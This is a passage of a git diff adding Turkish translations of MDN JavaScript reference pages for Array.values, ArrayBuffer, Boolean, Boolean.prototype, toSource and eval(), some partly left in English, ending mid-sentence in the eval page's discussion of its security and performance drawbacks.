Web/JavaScript/Reference/Global_Objects/Array/values +--- +<div>{{JSRef}}</div> + +<div> </div> + +<p><strong><code>values()</code></strong> methodu dizideki tüm elemanları içeren yeni bir <strong><code>(Dizi yineleyici)</code></strong> nesnesi döner</p> + +<pre class="brush: js">var a = ['e', 'l', 'm', 'a']; +var yineleyici = a.values(); + +console.log(yineleyici.next().value); // e +console.log(yineleyici.next().value); // l +console.log(yineleyici.next().value); // m +console.log(yineleyici.next().value); // a + +</pre> + +<h2 id="Sintaks">Sintaks</h2> + +<pre class="syntaxbox"><var>arr</var>.values()</pre> + +<h3 id="Dönüş_değeri">Dönüş değeri</h3> + +<p>Yeni bir {{jsxref("Array")}} yineleyici nesne.</p> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="for...of_loop_ile_yineleme"><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code> loop ile yineleme</h3> + +<pre class="brush: js">var arr = ['e', 'l', 'm', 'a']; +var yineleyici = arr.values(); + +for (let harf of yineleyici) { + console.log(harf); +} +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-array.prototype.values', 'Array.prototype.values')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.prototype.values', 'Array.prototype.values')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Web_tarayıcı_uyumluluğu">Web tarayıcı uyumluluğu</h2> + +<div> + + +<p>{{Compat("javascript.builtins.Array.values")}}</p> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Array.prototype.keys()")}}</li> + <li>{{jsxref("Array.prototype.entries()")}}</li> + <li>{{jsxref("Array.prototype.forEach()")}}</li> + <li>{{jsxref("Array.prototype.every()")}}</li> + <li>{{jsxref("Array.prototype.some()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/arraybuffer/index.html b/files/tr/web/javascript/reference/global_objects/arraybuffer/index.html new file mode 100644 index 0000000000..8109b3f667 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/arraybuffer/index.html @@ -0,0 +1,222 @@ +--- +title: ArrayBuffer +slug: Web/JavaScript/Reference/Global_Objects/ArrayBuffer +tags: + - ArrayBuffer + - Constructor + - JavaScript + - Yazılı Diziler +translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer +--- +<div>{{JSRef}}</div> + +<p>Bir <strong><code>ArrayBuffer</code></strong> nesnesi, kapsamlı ve sabit uzunluktaki raw binary data buffer'ını temsil etmek için kullanılır. Bir ArrayBuffer'ın içeriklerini direkt olarak manipüle edemezsiniz; bunun yerine, <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">yazılmış dizi nesnelerini</a> veya buffer'ı özel bir formatta temsil eden bir {{jsxref("DataView")}} nesnesini oluşturursunuz, buffer'a içerik yazmak veya buffer'dan içerik okumak için kullanırsınız.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">new ArrayBuffer(length) +</pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><code>length</code></dt> + <dd>Byte cinsinden, oluşturulan array buffer'ın boyutudur.</dd> +</dl> + +<h3 id="Döndürülen_Değer">Döndürülen Değer</h3> + +<p>Belirlenen boyutta yeni bir ArrayBuffer nesnesi. İçeriği 0 atanmış durumdadır.</p> + +<h3 id="İstisnalar">İstisnalar</h3> + +<p>Eğer uzunluk {{jsxref("Number.MAX_SAFE_INTEGER")}} (>= 2 ** 53) ifadesinden büyük ya da negatif ise bir {{jsxref("RangeError")}} fırlatılır.</p> + +<h2 id="Tanım">Tanım</h2> + +<p><code>ArrayBuffer</code> constructor'ı, byte cinsinden verilen boyutta yeni bir ArrayBuffer oluşturur.</p> + +<h3 id="Var_olan_bir_data'dan_array_buffer_çekmek">Var olan bir data'dan array buffer çekmek</h3> + +<ul> + <li><a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer">Bir Base64 string'inden</a></li> + <li><a href="/en-US/docs/Web/API/FileReader#readAsArrayBuffer()">Yerel bir dosyadan</a></li> +</ul> + +<h2 id="Özellikler">Özellikler</h2> + +<dl> + <dt><code>ArrayBuffer.length</code></dt> + <dd>ArrayBuffer constructor'ının 1 değerine sahip uzunluk özelliği.</dd> + <dt>{{jsxref("ArrayBuffer.@@species", "get ArrayBuffer[@@species]")}}</dt> + <dd>Türetilmiş nesneleri oluşturmak için kullanılan constructor fonksiyonu.</dd> + <dt>{{jsxref("ArrayBuffer.prototype")}}</dt> + <dd>Bütün ArrayBuffer nesnelerine özellik eklemeye izin verir.</dd> +</dl> + +<h2 id="Metodlar">Metodlar</h2> + +<dl> + <dt>{{jsxref("ArrayBuffer.isView", "ArrayBuffer.isView(arg)")}}</dt> + <dd>Eğer <code>arg</code> bir ArrayBuffer view'i ise <code>true</code> döndürür, tıpkı <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">yazılmış dizi nesneleri</a> veya bir {{jsxref("DataView")}}gibi. Aksi halde <code>false </code>döndürür.</dd> + <dt>{{jsxref("ArrayBuffer.transfer", "ArrayBuffer.transfer(oldBuffer [, newByteLength])")}} {{experimental_inline}}</dt> + <dd> + <div class="line" id="file-arraybuffer-transfer-LC6">oldBuffer'ın alınmış, ardından kesilmiş veya newByteLength tarafından sıfır-uzatılmış datasını içeren yeni bir ArrayBuffer döndürür.</div> + </dd> +</dl> + +<h2 id="ArrayBuffer_oluşumları"><code>ArrayBuffer</code> oluşumları</h2> + +<p>Bütün <code>ArrayBuffer</code> oluşumları {{jsxref("ArrayBuffer.prototype")}} tarafından miras alınır.</p> + +<h3 id="Özellikler_2">Özellikler</h3> + +<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype','Properties')}}</p> + +<h3 id="Metodlar_2">Metodlar</h3> + +<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype','Methods')}}</p> + +<dl> + <dt>{{jsxref("ArrayBuffer.slice()")}} {{non-standard_inline}}</dt> + <dd>{{jsxref("ArrayBuffer.prototype.slice()")}} ile aynı fonksiyonelliğe sahiptir.</dd> +</dl> + +<h2 id="Örnek">Örnek</h2> + +<p>Bu örnekte, {{jsxref("Global_Objects/Int32Array", "Int32Array")}} view'i aracılığıyla 8-byte'lık bir buffer oluştururuz.</p> + +<pre class="brush: js">var buffer = new ArrayBuffer(8); +var view = new Int32Array(buffer);</pre> + +<h2 id="Belirtmeler">Belirtmeler</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Belirtme</th> + <th scope="col">Durum</th> + <th scope="col">Yorumlar</th> + </tr> + <tr> + <td>{{SpecName('Typed Array')}}</td> + <td>{{Spec2('Typed Array')}}</td> + <td>ECMAScript 6 tarafından yenilenmiştir.</td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>Bir ECMA standardı için başlangıç tanımı. <code>new</code>'in gerekli olduğu belirtilmiştir.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Temel Destek</td> + <td>7.0</td> + <td>{{CompatGeckoDesktop("2")}}</td> + <td>10</td> + <td>11.6</td> + <td>5.1</td> + </tr> + <tr> + <td><code>ArrayBuffer()</code> <code>new</code> fırlatmadan</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoDesktop("44")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>ArrayBuffer.slice()</code> {{non-standard_inline}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}<br> + {{CompatNo}} {{CompatGeckoDesktop("53")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Temel Destek</td> + <td>4.0</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("2")}}</td> + <td>10</td> + <td>11.6</td> + <td>4.2</td> + </tr> + <tr> + <td><code>ArrayBuffer()</code> <code>new</code> fırlatmadan</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("44")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>ArrayBuffer.slice()</code> {{non-standard_inline}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}<br> + {{CompatNo}} {{CompatGeckoMobile("53")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Uyumluluk_Notları">Uyumluluk Notları</h2> + +<p> ECMAScript 2015'ten başlamak üzere, ArrayBuffer constructor'ları bir {{jsxref("Operators/new", "new")}} operatörü aracılığıyla inşa edilmeye ihtiyaç duymaktadır.<font face="Consolas, Liberation Mono, Courier, monospace"> Artık </font><code>new</code> fonksiyonu kullanmadan bir ArrayBuffer constructor'ı çağırmak, bir {{jsxref("TypeError")}} fırlatacaktır.</p> + +<pre class="brush: js example-bad">var dv = ArrayBuffer(10); +// TypeError:<code>new </code>komutu olmadan +// Gömülü bir ArrayBuffer constructor'u çağırmak </pre> + +<pre class="brush: js example-good">var dv = new ArrayBuffer(10);</pre> + +<h2 id="Ayrıca_Bakınız">Ayrıca Bakınız</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">Yazılmış JavaScript Dizileri</a></li> + <li>{{jsxref("SharedArrayBuffer")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/boolean/index.html b/files/tr/web/javascript/reference/global_objects/boolean/index.html new file mode 100644 index 0000000000..532b7b02c9 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/boolean/index.html @@ -0,0 +1,159 @@ +--- +title: Boolean (Mantıksal Veri Tipi) +slug: Web/JavaScript/Reference/Global_Objects/Boolean +tags: + - Boolean + - JavaScript + - Veri + - kurucu + - mantıksal + - tipi +translation_of: Web/JavaScript/Reference/Global_Objects/Boolean +--- +<div>{{JSRef}}</div> + +<p><strong><code>Boolean</code></strong> nesnesi, bir boolean değeri için bir nesne sarmalayıcıdır.</p> + +<h2 id="Sözdizimi">Sözdizimi</h2> + +<pre class="syntaxbox">new Boolean([<em>değer</em>])</pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">değer</span></font></dt> + <dd>Opsiyonel. Boolean nesnesinin başlangıç değeri.</dd> +</dl> + +<h2 id="Açıklama">Açıklama</h2> + +<p>Eğer gerekli ise ilk parametre yerine geçen değer boolean değerine dönüştürülür.Eğer değer verilmediyse , 0 ,-0, {{jsxref("null")}}, false, {{jsxref("NaN")}}, {{jsxref("undefined")}}, ya da boş string ("") ise nesnenin ilk değeri false olur.DOM nesnesi {{domxref ("document.all")}} parametre olarak iletilirse, yeni boolean nesnesinin başlangıç değeri de false olur. Herhangi bir nesne veya "false" dizesi dahil olmak üzere diğer tüm değerler, başlangıç değeri true olan bir nesne oluşturur.</p> + +<p>İlkel Boolean değerlerini true ve false ile Boolean nesnesinin true ve false değerleriyle karıştırmayın.</p> + +<p>Değeri false olan bir Boolean nesnesi de dahil olmak üzere, {{jsxref ("undefined")}} veya {{jsxref ("null")}} olmayan herhangi bir nesne, şartlı ifadeye geçirildiğinde true olarak değerlendirilir. Örneğin, aşağıdaki {{jsxref ("İfadeler/if...else", "if")}} deyimindeki koşul true olarak değerlendirilir:</p> + +<pre class="brush: js">var x = new Boolean(false); +if (x) { + // bu kod gerçekleşti. +} +</pre> + +<p>Bu davranış, Boolean ilkelleri için geçerli değildir. Örneğin, aşağıdaki {{jsxref ("İfadeler / if ... else", "if")}} deyimindeki koşul false olarak değerlendirilir:</p> + +<pre class="brush: js">var x = false; +if (x) { + // bu kod gerçekleşmedi. +} +</pre> + +<p>Boolean olmayan bir değeri bir boolean değerine dönüştürmek için bir Boolean nesnesi kullanmayın. Bunun yerine, bu görevi yerine getirmek için bir işlev olarak Boolean'ı kullanın:</p> + +<pre class="brush: js">var x = Boolean(expression); // tercih edilen +var x = new Boolean(expression); // kullanma +</pre> + +<p>Bir Boolean nesnesi de dahil olmak üzere herhangi bir nesneyi bir Boolean nesnesinin başlangıç değerini false olarak belirterseniz, yeni Boolean nesnesinin değeri true olur.</p> + +<pre class="brush: js">var myFalse = new Boolean(false); // ilk değer false +var g = Boolean(myFalse); // ilk değer true +var myString = new String('Hello'); // string nesnesi +var s = Boolean(myString); // ilk değer true +</pre> + +<p>Boolean ilkelinin yerine bir Boolean nesnesi kullanmayın.</p> + +<h2 id="Özellikleri">Özellikleri</h2> + +<dl> + <dt><code>Boolean.length</code></dt> + <dd>Uzunluk özelliğinin değeri 1.</dd> + <dt>{{jsxref("Boolean.prototype")}}</dt> + <dd>Boolean yapıcısının prototipini temsil eder.</dd> +</dl> + +<h2 id="Metodlar">Metodlar</h2> + +<p>Genel Boolean nesnesi kendine özgü bir yöntem içermese de, prototip zinciri boyunca bazı yöntemleri devralır:</p> + +<h2 id="Boolean_örnekleri"><code>Boolean</code> örnekleri</h2> + +<p>Tüm Boolean örnekleri {{jsxref ("Boolean.prototype")}} 'den devralınır. Tüm yapıcılarda olduğu gibi, prototip nesne örneklerin kalıtsal özelliklerini ve yöntemlerini belirler.</p> + +<h3 id="Özellikleri_2">Özellikleri</h3> + +<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean/prototype', 'Properties')}}</div> + +<h3 id="Metodlar_2">Metodlar</h3> + +<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean/prototype', 'Methods')}}</div> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="ilk_değeri_false_olan_Boolean_nesnesi_oluşturma">ilk değeri <code>false</code> olan <code>Boolean</code> nesnesi oluşturma </h3> + +<pre class="brush: js">var bNoParam = new Boolean(); +var bZero = new Boolean(0); +var bNull = new Boolean(null); +var bEmptyString = new Boolean(''); +var bfalse = new Boolean(false); +</pre> + +<h3 id="ilk_değeri_true_olan_Boolean_nesnesi_oluşturma">ilk değeri <code>true</code> olan <code>Boolean</code> nesnesi oluşturma</h3> + +<pre class="brush: js">var btrue = new Boolean(true); +var btrueString = new Boolean('true'); +var bfalseString = new Boolean('false'); +var bSuLin = new Boolean('Su Lin'); +var bArrayProto = new Boolean([]); +var bObjProto = new Boolean({}); +</pre> + +<h2 id="Özellikler">Özellikler</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Özellik</th> + <th scope="col">Durum</th> + <th scope="col">Yorum</th> + </tr> + <tr> + <td>{{SpecName('ES1')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>İlk tanım. JavaScript 1.0'da uygulanmaktadır.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.6', 'Boolean')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-boolean-objects', 'Boolean')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-boolean-objects', 'Boolean')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> + +<div> +<div class="hidden">Bu sayfadaki uyumluluk tablosu yapılandırılmış verilerden oluşturulmuştur. Verilere katkıda bulunmak istiyorsanız, lütfen https://github.com/mdn/browser-compat-data adresini ziyaret edin ve bize pull request gönderin.</div> + +<p>{{Compat("javascript.builtins.Boolean")}} </p> +</div> + +<h2 id="Ayrıca_bakınız"><br> + Ayrıca bakınız</h2> + +<ul> + <li>{{jsxref("Boolean.prototype")}}</li> + <li>{{Glossary("Boolean")}}</li> + <li><a href="http://en.wikipedia.org/wiki/Boolean_data_type">Boolean veri tipi (Vikipedi)</a></li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/boolean/prototype/index.html b/files/tr/web/javascript/reference/global_objects/boolean/prototype/index.html new file mode 100644 index 0000000000..fa60081cc3 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/boolean/prototype/index.html @@ -0,0 +1,76 @@ +--- +title: Boolean.prototype +slug: Web/JavaScript/Reference/Global_Objects/Boolean/prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Boolean +--- +<div>{{JSRef}}</div> + +<p>Boolean.prototype özelliği {{jsxref ("Boolean")}} yapıcı methodunun prototipini temsil eder.</p> + +<div>{{js_property_attributes(0, 0, 0)}}</div> + +<div>{{EmbedInteractiveExample("pages/js/boolean-constructor.html")}}</div> + +<p class="hidden">Bu etkileşimli örnek için kaynak bir GitHub deposunda saklanır. Etkileşimli örnek projeye katkıda bulunmak istiyorsanız lütfen https://github.com/mdn/interactive-examples'ları kopyalayıp bize pull request gönderin.</p> + +<h2 id="sect1"> </h2> + +<p>{{jsxref("Boolean")}} instances inherit from <code>Boolean.prototype</code>. You can use the constructor's prototype object to add properties or methods to all {{jsxref("Boolean")}} instances.</p> + +<h2 id="Properties">Properties</h2> + +<dl> + <dt><code>Boolean.prototype.constructor</code></dt> + <dd>Bir örneğin prototipini oluşturan fonksiyonu döndürür. Bu varsayılan olarak {{jsxref ("Boolean")}} işlevidir.</dd> +</dl> + +<h2 id="Methods">Methods</h2> + +<dl> + <dt>{{jsxref("Boolean.prototype.toSource()")}} {{non-standard_inline}}</dt> + <dd>{{Jsxref ("Boolean")}} nesnesinin kaynağını içeren bir dize döndürür; eşdeğer bir nesne oluşturmak için bu dizeyi kullanabilirsiniz. {{Jsxref ("Object.prototype.toSource ()")}} methodunu geçersiz kılar.</dd> + <dt>{{jsxref("Boolean.prototype.toString()")}}</dt> + <dd>Nesnenin değerine bağlı olarak <code>"true"</code> ya da <code>"false"</code> dizesini döndürür. {{Jsxref ("Object.prototype.toString ()")}} methodunu geçersiz kılar.</dd> + <dt>{{jsxref("Boolean.prototype.valueOf()")}}</dt> + <dd>{{Jsxref ("Boolean")}} nesnesinin temel değerini döndürür. {{Jsxref ("Object.prototype.valueOf ()")}} methodunu geçersiz kılar.</dd> +</dl> + +<h2 id="Özellikler">Özellikler</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Özellikler</th> + <th scope="col">Durum</th> + <th scope="col">Açıklama</th> + </tr> + <tr> + <td>{{SpecName('ES1')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>İlk tanım. JavaScript 1.0'da uygulanmaktadır.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.6.3.1', 'Boolean.prototype')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-boolean.prototype', 'Boolean.prototype')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-boolean.prototype', 'Boolean.prototype')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> + +<div> +<div class="hidden">Bu sayfadaki uyumluluk tablosu yapılandırılmış verilerden oluşturulmuştur. Verilere katkıda bulunmak istiyorsanız, lütfen https://github.com/mdn/browser-compat-data adresini ziyaret edin ve bize pull request gönderin.</div> + +<p>{{Compat("javascript.builtins.Boolean.prototype")}}</p> +</div> diff --git a/files/tr/web/javascript/reference/global_objects/boolean/tosource/index.html b/files/tr/web/javascript/reference/global_objects/boolean/tosource/index.html new file mode 100644 index 0000000000..1d304fc29f --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/boolean/tosource/index.html @@ -0,0 +1,51 @@ +--- +title: Boolean.prototype.toSource() +slug: Web/JavaScript/Reference/Global_Objects/Boolean/toSource +translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/toSource +--- +<div>{{JSRef}} {{non-standard_header}}</div> + +<p>ToSource () metodu, nesnenin kaynak kodunu temsil eden bir dize döndürür.</p> + +<h2 id="Sözdizimi">Sözdizimi</h2> + +<pre class="syntaxbox"><var>booleanObj</var>.toSource() +Boolean.toSource()</pre> + +<h3 id="Return_değeri">Return değeri</h3> + +<p>Nesnenin kaynak kodunu temsil eden bir dize.</p> + +<h2 id="Açıklama">Açıklama</h2> + +<p><code>toSource</code> metodu aşağıdaki değerleri döndürür:</p> + +<ul> + <li>Yerleşik(built-in) {{jsxref ("Boolean")}} nesne için toSource, kaynak kodun mevcut olmadığını belirten aşağıdaki dizeyi döndürür: + <pre class="brush: js">function Boolean() { + [native code] +} +</pre> + </li> + <li>{{Jsxref ("Boolean")}} örneği için toSource, kaynak kodunu temsil eden bir dize döndürür.</li> +</ul> + +<p>This method is usually called internally by JavaScript and not explicitly in code.</p> + +<h2 id="Özellikler">Özellikler</h2> + +<p>Herhangi bir standardın parçası değil. JavaScript 1.3'te uygulandı. 1.3.</p> + +<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> + +<div> +<div class="hidden">Bu sayfadaki uyumluluk tablosu yapılandırılmış verilerden oluşturulmuştur. Verilere katkıda bulunmak istiyorsanız, lütfen https://github.com/mdn/browser-compat-data adresini ziyaret edin ve bize pull request gönderin.</div> + +<p>{{Compat("javascript.builtins.Boolean.toSource")}}</p> +</div> + +<h2 id="Ayrıca_Bakınız">Ayrıca Bakınız</h2> + +<ul> + <li>{{jsxref("Object.prototype.toSource()")}} {{non-standard_inline}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/eval/index.html b/files/tr/web/javascript/reference/global_objects/eval/index.html new file mode 100644 index 0000000000..1b91b418ce --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/eval/index.html @@ -0,0 +1,318 @@ +--- +title: eval() +slug: Web/JavaScript/Reference/Global_Objects/eval +translation_of: Web/JavaScript/Reference/Global_Objects/eval +--- +<div>{{jsSidebar("Objects")}}</div> + +<p><code><strong>eval()</strong></code> fonksiyonu JavaScript kodunu bir String gibi değerlendirir.</p> + +<div>{{EmbedInteractiveExample("pages/js/globalprops-eval.html")}}</div> + + + +<h2 id="Sözdizimi">Sözdizimi</h2> + +<pre class="syntaxbox"><code>eval(<em>string</em>)</code></pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><code>string</code></dt> + <dd>A string representing a JavaScript expression, statement, or sequence of statements. The expression can include variables and properties of existing objects.</dd> +</dl> + +<h3 id="Return_değeri">Return değeri</h3> + +<p>The completion value of evaluating the given code. If the completion value is empty, {{jsxref("undefined")}} is returned.</p> + +<h2 id="Description">Description</h2> + +<p><code>eval()</code> is a function property of the global object.</p> + +<p>The argument of the <code>eval()</code> function is a string. If the string represents an expression, <code>eval()</code> evaluates the expression. If the argument represents one or more JavaScript statements, <code>eval()</code> evaluates the statements. Do not call <code>eval()</code> to evaluate an arithmetic expression; JavaScript evaluates arithmetic expressions automatically.</p> + +<p>If you construct an arithmetic expression as a string, you can use <code>eval()</code> to evaluate it at a later time. For example, suppose you have a variable <code>x</code>. You can postpone evaluation of an expression involving <code>x</code> by assigning the string value of the expression, say "<code>3 * x + 2</code>", to a variable, and then calling <code>eval()</code> at a later point in your script.</p> + +<p>If the argument of <code>eval()</code> is not a string, <code>eval()</code> returns the argument unchanged. In the following example, the <code>String</code> constructor is specified and <code>eval()</code> returns a <code>String</code> object rather than evaluating the string.</p> + +<pre class="brush:js">eval(new String('2 + 2')); // returns a String object containing "2 + 2" +eval('2 + 2'); // returns 4 +</pre> + +<p>You can work around this limitation in a generic fashion by using <code>toString()</code>.</p> + +<pre class="brush:js">var expression = new String('2 + 2'); +eval(expression.toString()); // returns 4 +</pre> + +<p>If you use the <code>eval</code> function <em>indirectly,</em> by invoking it via a reference other than <code>eval</code>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-10.4.2">as of ECMAScript 5</a> it works in the global scope rather than the local scope. This means, for instance, that function declarations create global functions, and that the code being evaluated doesn't have access to local variables within the scope where it's being called.</p> + +<pre class="brush:js">function test() { + var x = 2, y = 4; + console.log(eval('x + y')); // Direct call, uses local scope, result is 6 + var geval = eval; // equivalent to calling eval in the global scope + console.log(geval('x + y')); // Indirect call, uses global scope, throws ReferenceError because `x` is undefined + (0, eval)('x + y'); // another example of Indirect call +} +</pre> + +<h2 id="Do_not_ever_use_eval!">Do not ever use <code>eval</code>!</h2> + +<p><code>eval()</code> is a dangerous function, which executes the code it's passed with the privileges of the caller. If you run <code>eval()</code> with a string that could be affected by a malicious party, you may end up running malicious code on the user's machine with the permissions of your webpage / extension. More importantly, a third-party code can see the scope in which <code>eval()</code> was invoked, which can lead to possible attacks in ways to which the similar {{jsxref("Global_Objects/Function", "Function")}} is not susceptible.</p> + +<p><code>eval()</code> is also slower than the alternatives, since it has to invoke the JS interpreter, while many other constructs are optimized by modern JS engines.</p> + +<p>Additionally, modern javascript interpreters convert javascript to machine code. This means that any concept of variable naming gets obliterated. Thus, any use of eval will force the browser to do long expensive variable name lookups to figure out where the variable exists in the machine code and set its value. Additonally, new things can be introduced to that variable through <code>eval()</code> such as changing the type of that variable, forcing the browser to reevaluate all of the generated machine code to compensate. However, there (thankfully) exists a very good alternative to eval: simply using <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function">window.Function</a>. As an example of how you convert code using evil <code>eval()</code> to using <code>Function</code><code>()</code>, see below.</p> + +<p>Bad code with eval:</p> + +<pre class="brush:js">function looseJsonParse(obj){ + return eval(obj); +} +console.log(looseJsonParse( + "{a:(4-1), b:function(){}, c:new Date()}" +)) +</pre> + +<p>Better code without eval:</p> + +<pre class="brush:js">function looseJsonParse(obj){ + return Function('"use strict";return (' + obj + ')')(); +} +console.log(looseJsonParse( + "{a:(4-1), b:function(){}, c:new Date()}" +)) +</pre> + +<p>Comparing the two code snippets above, the two code snippets might seem to work the same way, but think again: the eval one is a huge amount slower. Notice <code>c: new Date()</code> in the evaluated object. In the function without the eval, the object is being evaluated in the global scope, so it is safe for the browser to assume that <code>Date</code> refers to <code>window.Date</code> instead of a local variable called <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Date</span></font>. But, in the code using <code>eval()</code>, the browser cannot assume this since what if your code looked like the following:</p> + +<pre class="brush:js">function Date(n){ + return ["Monday","Tuesday","Wednesday","Thursday","Friday","Saturday","Sunday"][n%7 || 0]; +} +function looseJsonParse(obj){ + return eval(obj); +} +console.log(looseJsonParse( + "{a:(4-1), b:function(){}, c:new Date()}" +)) +</pre> + +<p>Thus, in the <code>eval()</code> version of the code, the browser is forced to make the expensive lookup call to check to see if there are any local variables called <code>Date()</code>. This is incredibly inefficient compared to <code>Function()</code>.</p> + +<p>In a related circumstance, what if you actually wanted your <code>Date</code> function to be able to be called from the code inside <code>Function()</code>. Should you just wimp out and fall back to <code>eval()</code>? Absolutely not, never ever. Instead try the approach below.</p> + +<pre class="brush:js">function Date(n){ + return ["Monday","Tuesday","Wednesday","Thursday","Friday","Saturday","Sunday"][n%7 || 0]; +} +function runCodeWithDateFunction(obj){ + return Function('"use strict";return (' + obj + ')')()( + Date + ); +} +console.log(runCodeWithDateFunction( + "function(Date){ return Date(5) }" +)) +</pre> + +<p>The code above may seem inefficiently slow because of the triple nested function, but let's analyse the benefits of the above efficient method:</p> + +<p>1. It allows the code in the string passed to <code>runCodeWithDateFunction</code> to be minified.</p> + +<p>2. Function call overhead is minimal, making the far smaller code size well worth the benefit</p> + +<p>3. <code>Function()</code> more easily allows your code to utilize the performance buttering <code>"use strict";</code></p> + +<p>4. The code does not use <code>eval()</code>, making it orders of magnitude faster than otherwise.</p> + +<p>Lastly, let's examine minification. With using <code>Function()</code> as shown above, you can minify the code string passed to <code>runCodeWithDateFunction</code> far more efficiently because the function arguments names can be minified too as seen in the minified code below.</p> + +<pre class="brush:js">console.log(Function('"use strict";return(function(a){return a(5)})')()(function(a){ +return"Monday Tuesday Wednesday Thursday Friday Saturday Sunday".split(" ")[a%7||0]}));</pre> + +<p>There are also additional safer (and faster!) alternatives to <code>eval()</code> or <code>Function()</code> for common use-cases.</p> + +<h3 id="Accessing_member_properties">Accessing member properties</h3> + +<p>You should not use <code>eval()</code> to convert property names into properties. Consider the following example where the property of the object 